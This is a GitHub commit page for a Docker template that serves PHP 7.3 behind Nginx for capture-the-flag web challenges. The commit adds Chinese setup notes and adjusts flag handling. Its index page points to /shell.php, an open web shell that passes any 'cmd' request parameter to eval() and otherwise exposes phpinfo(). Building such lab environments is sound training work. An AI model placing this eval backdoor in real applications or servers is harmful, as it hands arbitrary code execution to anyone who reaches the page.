Skip to content

Commit

Permalink
update web-nginx-php73
Browse files Browse the repository at this point in the history
  • Loading branch information
Randark-JMT committed Oct 23, 2023
1 parent 29a7ff0 commit 1f673bc
Show file tree
Hide file tree
Showing 5 changed files with 59 additions and 9 deletions.
29 changes: 28 additions & 1 deletion web-nginx-php73/README.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,30 @@
# web-nginx-php73

部分容器逻辑参考自:[CTFTraining / base_image_nginx_php_73](https://github.com/CTFTraining/base_image_nginx_php_73),在此感谢[陌竹 - mozhu1024](https://github.com/mozhu1024)师傅做出的贡献
部分容器逻辑参考自:[CTFTraining / base_image_nginx_php_73](https://github.com/CTFTraining/base_image_nginx_php_73),在此感谢 [陌竹 - mozhu1024](https://github.com/mozhu1024) 师傅做出的贡献

## 环境说明

提供 `Nginx` +`PHP 7.3.33` 的基础环境,默认暴露端口位于 80

> 请注意 !!!
>
> 需要注意的是,模板默认会将 flag 保存在 / flag 文件中,如果 PHP 项目中需要直接从环境变量中读取 flag 数据,请在./service/docker-entrypoint.sh 中修改相关操作语句
## 如何使用

直接将 PHP 项目放入 `./src` 目录即可

源码放置进 `./src` 目录之后,执行

```shell
docker build .
```

即可开始编译镜像

也可以在安放好相关项目文件之后,直接使用 `./docker/docker-compose.yml` 内的 `docker-compose` 文件实现一键启动测试容器

```shell
cd ./docker
docker-compose up -d
```
7 changes: 3 additions & 4 deletions web-nginx-php73/service/docker-entrypoint.sh
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
user=$(ls /home)

# Check the environment variables for the flag and assign to INSERT_FLAG
# 需要注意,以下语句会将FLAG相关传递变量进行覆盖,如果需要,请注意修改相关操作
if [ "$DASFLAG" ]; then
INSERT_FLAG="$DASFLAG"
export DASFLAG=no_FLAG
Expand All @@ -25,10 +26,8 @@ echo $INSERT_FLAG | tee /flag

chmod 744 /flag

php-fpm &

nginx &
php-fpm & nginx &

echo "Running..."

tail -F /dev/null
tail -F /var/log/nginx/access.log /var/log/nginx/error.log
1 change: 1 addition & 0 deletions web-nginx-php73/src/flag.php
Original file line number Diff line number Diff line change
Expand Up @@ -6,3 +6,4 @@
else{
echo "error";
}
echo $flag;
16 changes: 13 additions & 3 deletions web-nginx-php73/src/index.php
Original file line number Diff line number Diff line change
@@ -1,3 +1,13 @@
<?php
include 'flag.php';
echo $flag;
<pre>

____ _____ _____ _ _ _
/ ___|_ _| ___| / \ _ __ ___| |__ (_)_ _____ ___
| | | | | |_ _____ / _ \ | '__/ __| '_ \| \ \ / / _ \/ __|
| |___ | | | _|_____/ ___ \| | | (__| | | | |\ V / __/\__ \
\____| |_| |_| /_/ \_\_| \___|_| |_|_| \_/ \___||___/


</pre>

<h3> Webshell is in /shell.php </h3>
<h3> flag is in /flag.php </h3>
15 changes: 14 additions & 1 deletion web-nginx-php73/src/shell.php
Original file line number Diff line number Diff line change
@@ -1 +1,14 @@
<?php @eval($_POST['a']) ?>
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
@eval($cmd);
echo "</pre>";
die;
}
else{
show_source(__FILE__);
phpinfo();
}

?>

0 comments on commit 1f673bc

Please sign in to comment.